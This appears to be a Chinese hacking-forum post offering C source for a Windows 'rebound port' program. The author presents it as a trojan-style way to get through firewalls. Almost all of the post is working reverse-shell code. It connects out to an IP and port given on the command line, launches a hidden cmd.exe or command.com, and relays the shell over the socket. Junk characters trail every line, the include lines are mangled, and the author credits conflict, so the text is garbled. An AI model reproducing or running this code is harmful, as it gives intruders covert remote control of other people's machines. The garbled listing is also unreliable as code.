这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yz8ZY,9
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/* ============================== Qc#<RbLL
Rebound port in Windows NT w^e<p~i!^E
By wind,2006/7 9iGUE
===============================*/ qFp }+s
#include /> c F
#include Zc(uK{3W-
}eb}oK
#pragma comment(lib,"wsock32.lib") <iVn!P
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void OutputShell(); \M(0@#-$C
SOCKET sClient; ^_
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +pp|Qgr 3
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void main(int argc,char **argv) 3Xyu`zS&
{ 0*S]m5#;
WSADATA stWsaData; C-'n4AY^
int nRet; d|CSWcU
SOCKADDR_IN stSaiClient,stSaiServer; AeR3wua
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if(argc != 3) $,Y\
{ 2Sbo7e
printf("Useage:\n\rRebound DestIP DestPort\n"); *m6~x-x
return; DjUif "v
} :"5'l>la
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WSAStartup(MAKEWORD(2,2),&stWsaData); xR
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5:v"^"S z
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stSaiClient.sin_family = AF_INET; F33&A<(,
stSaiClient.sin_port = htons(0); s)X'PJ0&Bs
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6qg_&woJ3
~ /s(.oji
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7\I,;swo
{ `%_ yRJd|;
printf("Bind Socket Failed!\n"); H:byCFN-
return; EwDFU K
} A (z
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stSaiServer.sin_family = AF_INET; OXc!^2^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {`~uBz+dJq
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WgX9k J
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j_L1KB*
{ _"Yi>.{]
printf("Connect Error!"); Mg3>/!
return; i i&kfy
} NvCq5B$C
OutputShell(); Hw[(v[v
} A/ppr.
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void OutputShell() $M%<i~VXe&
{ _Q&O#f
char szBuff[1024]; XIQfgrGZ
SECURITY_ATTRIBUTES stSecurityAttributes; vX|i5P0)8
OSVERSIONINFO stOsversionInfo; <X]'":
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^yLiyR e\
STARTUPINFO stStartupInfo; K(bid0Y
char *szShell; 5X"y46i,H
PROCESS_INFORMATION stProcessInformation; tx0`#x
unsigned long lBytesRead; m"3gTqG
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -jN:~.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); j;%RV)e
stSecurityAttributes.lpSecurityDescriptor = 0; E(t:F^z&D
stSecurityAttributes.bInheritHandle = TRUE; X{2))t%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +%Y`>1I^#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MZ9{*y[z
A\Ax5eeL
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `2}H$D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :.xdG>\n3
stStartupInfo.wShowWindow = SW_HIDE; jGV+ ~a
stStartupInfo.hStdInput = hReadPipe; kl4u]MyL#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &+"-'7
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GetVersionEx(&stOsversionInfo); a3i;r M2
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switch(stOsversionInfo.dwPlatformId) UD.&p'^ /{
{ i;+]Y
case 1: #f*,mY|>
szShell = "command.com"; -v]vm3Na
break; v-^7oai
default: (WoKrd.!
szShell = "cmd.exe"; funHznRR
break; c{X>i>l>
} I,rs&m?/m
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .Ioj]r
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send(sClient,szMsg,77,0); f[S$Gu4-
while(1) ;|nC;D]
{ o>3g<-ul
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .W[[Z;D
if(lBytesRead) I\8f`l
{ |{)SLvlJl
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jGp|:!'w
send(sClient,szBuff,lBytesRead,0); G/cE2nD
} |Wo_5|E
else IUK!b2!`
{ *F ya
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lBytesRead=recv(sClient,szBuff,1024,0); $s[DT!8N
if(lBytesRead<=0) break; {9 PeBc
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); OfSy _#aEK
} 9lT6fW`v1Q
} lDBn3U&z>
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return; {{3n">s}:
}